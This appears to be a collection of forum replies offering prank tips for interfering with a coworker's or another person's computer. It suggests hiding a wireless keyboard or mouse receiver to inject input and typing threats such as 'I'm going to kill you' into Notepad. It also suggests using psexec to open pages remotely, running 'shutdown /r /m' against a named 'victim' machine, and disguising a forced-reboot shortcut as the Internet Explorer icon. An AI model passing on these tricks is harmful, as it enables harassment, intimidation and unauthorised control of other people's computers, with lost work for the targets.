Get a wireless keyboard, plug in the receiver.
Once they start typing shit, you should start typing in messages too
After they notice the extra keystrokes, sometimes they'll sit back and wait for it to say something.
That's the bit where you press "windows+r", notepad, and then start to type things like "I'm going to kill you"
I was going to suggest doing this with a mouse, it's a LOT harder for them to figure out. Just randomly move it a little while they are using it every so often.
alt+control+arrow to rotate screen, use down arro to flip screen upside down.
Look into psexec you can open pages on his computer remotely, even open URLs in their browser. If you are an admin you could create a script on a server that whenever IE closes it would re-open with a URL of your choice.
restart their computer remotely with Shutdown /r /m \\victim where victim is their computer name or ip, use 127.0.0.1 if your doing a batch file. Add shutdown /r /f to force it to shutdown without notice.
Using it for this is always fun
Internet Explorer Icon/Link
First move their current internet explorer icon on their desktop to the recycle bin, don't worry this doesn't delete it, just gets it off the screen for prank-purposes! Right click on the desktop and click on "New Shortcut" under the "Add Address" field type EXACTLY:
shutdown /r /f
In the next field type in: Internet Explorer
Now in the desktop, right click the icon and go to "Properties" then go to the "Shortcut" tab, and click on "Change Icon" scroll to the "Internet Explorer" icon, add that as the icon and then on the desktop move the icon to where they had their old internet explorer icon!!!